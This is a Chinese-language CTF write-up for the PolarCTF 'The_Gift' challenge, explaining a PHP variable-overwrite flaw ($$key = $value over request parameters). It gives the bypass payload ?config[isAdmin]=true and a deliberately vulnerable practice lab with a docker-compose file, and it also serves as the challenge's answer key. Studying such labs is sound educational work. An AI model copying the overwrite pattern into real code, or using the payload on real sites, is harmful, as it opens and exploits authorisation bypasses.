【PolarCTF2026年春季挑战赛】The_Gift

考察遍历覆盖

复制代码
<?php
include 'config.php';              // 引入配置文件(包含 FLAG)
highlight_file(__FILE__);          // 显示当前文件源码
error_reporting(0);                // 关闭错误报告(隐藏错误信息)

class ConfigModel {
    public $apiKey = '';           // API 密钥
    public $isAdmin = false;       // 管理员标志(关键!)
    public $requestTime = 0;       // 请求时间
    
    public function __construct() {
        $this->requestTime = time();
        // 生成随机 apiKey,无法预测
        $this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
    }
    
    public function validateApiKey($inputKey) {
        if ($inputKey === $this->apiKey) {  // 严格比较
            $this->isAdmin = true;          // 验证成功则设为管理员
            return true;
        }
        return false;
    }
}

$config = new ConfigModel();  // 创建配置对象

$requestData = array_merge($_GET, $_POST);  // 合并 GET 和 POST 参数
foreach ($requestData as $key => $value) {
    $$key = $value;  // 🔴 变量覆盖漏洞!
}

if (isset($user_api_key)) {
    $config->validateApiKey($user_api_key);
}

if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
    die("Success " . $FLAG);
} else {
    echo "<br>Access Denied.";
}
?>

这道题的关键点是满足下面3个条件:

复制代码
is_array($config)           // 条件1: $config 必须是数组
isset($config['isAdmin'])   // 条件2: $config['isAdmin'] 必须存在
$config['isAdmin'] === 'true' // 条件3: 值必须是字符串 'true'

那么我们通过变量覆盖实现攻击,我们通过GET方式来传递如下payload

复制代码
?config[isAdmin]=true

此时PHP会解析成

复制代码
$_GET = ['config[isAdmin]' => 'true']

然后进入漏洞循环

复制代码
foreach ($requestData as $key => $value) {
    // 第一次循环会读出如下内容:
    $key = 'config[isAdmin]'
    $value = 'true'
    
    // 然后就会执行执行 $$key = $value
    // 即 $config['isAdmin'] = 'true'
}

最终通过所有验证

复制代码
is_array($config)           → ✅ true
isset($config['isAdmin'])   → ✅ true  
$config['isAdmin'] === 'true' → ✅ true(字符串比较)

下面是攻击流程图

复制代码
┌─────────────────────────────────────────────────────────┐
│                    攻击者发送请求                        │
│         GET /index.php?config[isAdmin]=true             │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              PHP 解析 GET 参数                           │
│         $_GET = ['config[isAdmin]' => 'true']           │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              进入漏洞循环 foreach                        │
│         $key = 'config[isAdmin]'                        │
│         $value = 'true'                                 │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              执行变量覆盖 $$key = $value                │
│         $config['isAdmin'] = 'true'                     │
│         ($config 从对象变成数组)                       │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              通过所有判断条件                            │
│         is_array($config) → true                        │
│         isset($config['isAdmin']) → true                │
│         $config['isAdmin'] === 'true' → true            │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│                  输出 Flag 🎉                            │
│         Success flag{variable_overwrite_learned}        │
└─────────────────────────────────────────────────────────┘

最终效果如下:

下面是自己弄的练习题

文件1:题目主文件

复制代码
<?php
// CTF Challenge - Variable Overwrite Vulnerability
// 变量覆盖漏洞练习

error_reporting(0);

class ConfigModel {
    public $apiKey = '';
    public $isAdmin = false;
    public $requestTime = 0;
    
    public function __construct() {
        $this->requestTime = time();
        $this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
    }
    
    public function validateApiKey($inputKey) {
        if ($inputKey === $this->apiKey) {
            $this->isAdmin = true;
            return true;
        }
        return false;
    }
}

$config = new ConfigModel();

// 漏洞点:变量覆盖
$requestData = array_merge($_GET, $_POST);
foreach ($requestData as $key => $value) {
    $$key = $value;  // 危险!用户可控的变量覆盖
}

if (isset($user_api_key)) {
    $config->validateApiKey($user_api_key);
}

// 获取flag的条件
if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
    die("🎉 Success! Flag: " . getenv("FLAG"));
} else {
    echo "<br>❌ Access Denied.";
    echo "<br><br>💡 Hint: Try to overwrite the \$config variable";
}

// 显示源码供学习
if (isset($_GET['source'])) {
    highlight_file(__FILE__);
}
?>

<html>
<head><title>CTF Challenge - Variable Overwrite</title></head>
<body>
    <h2>📚 学习目标</h2>
    <ul>
        <li>理解PHP变量覆盖漏洞(Variable Overwrite)</li>
        <li>掌握 $$ 可变变量的利用方法</li>
        <li>学会通过变量覆盖改变程序逻辑</li>
    </ul>
    
    <h2>🎯 挑战目标</h2>
    <p>让 <code>$config['isAdmin'] === 'true'</code></p>
    
    <h2>🔍 提示</h2>
    <ul>
        <li>注意第24-26行的foreach循环</li>
        <li>$$key = $value 会导致变量覆盖</li>
        <li>尝试覆盖 $config 变量</li>
    </ul>
    
    <br>
    <a href="?source=1">查看源码</a>
</body>
</html>

文件2:docker-compose.yml配置文件

复制代码
version: '3.8'

services:
  ctf-challenge:
    image: php:7.4-apache  # 直接使用镜像,不需要 build
    ports:
      - "8080:80"
    environment:
      - FLAG=flag{variable_overwrite_learned}
    volumes:
      - ./src:/var/www/html  # 挂载本地代码

题目答案

复制代码
http://localhost:8080/?config[isAdmin]=true
相关推荐
白帽攻防录1 小时前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的11 小时前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop12 小时前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全18 小时前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴21 小时前
【APP安全测试】Frida 基础
网络安全
科技象限1 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd1 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Dachui_11222 天前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub2 天前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构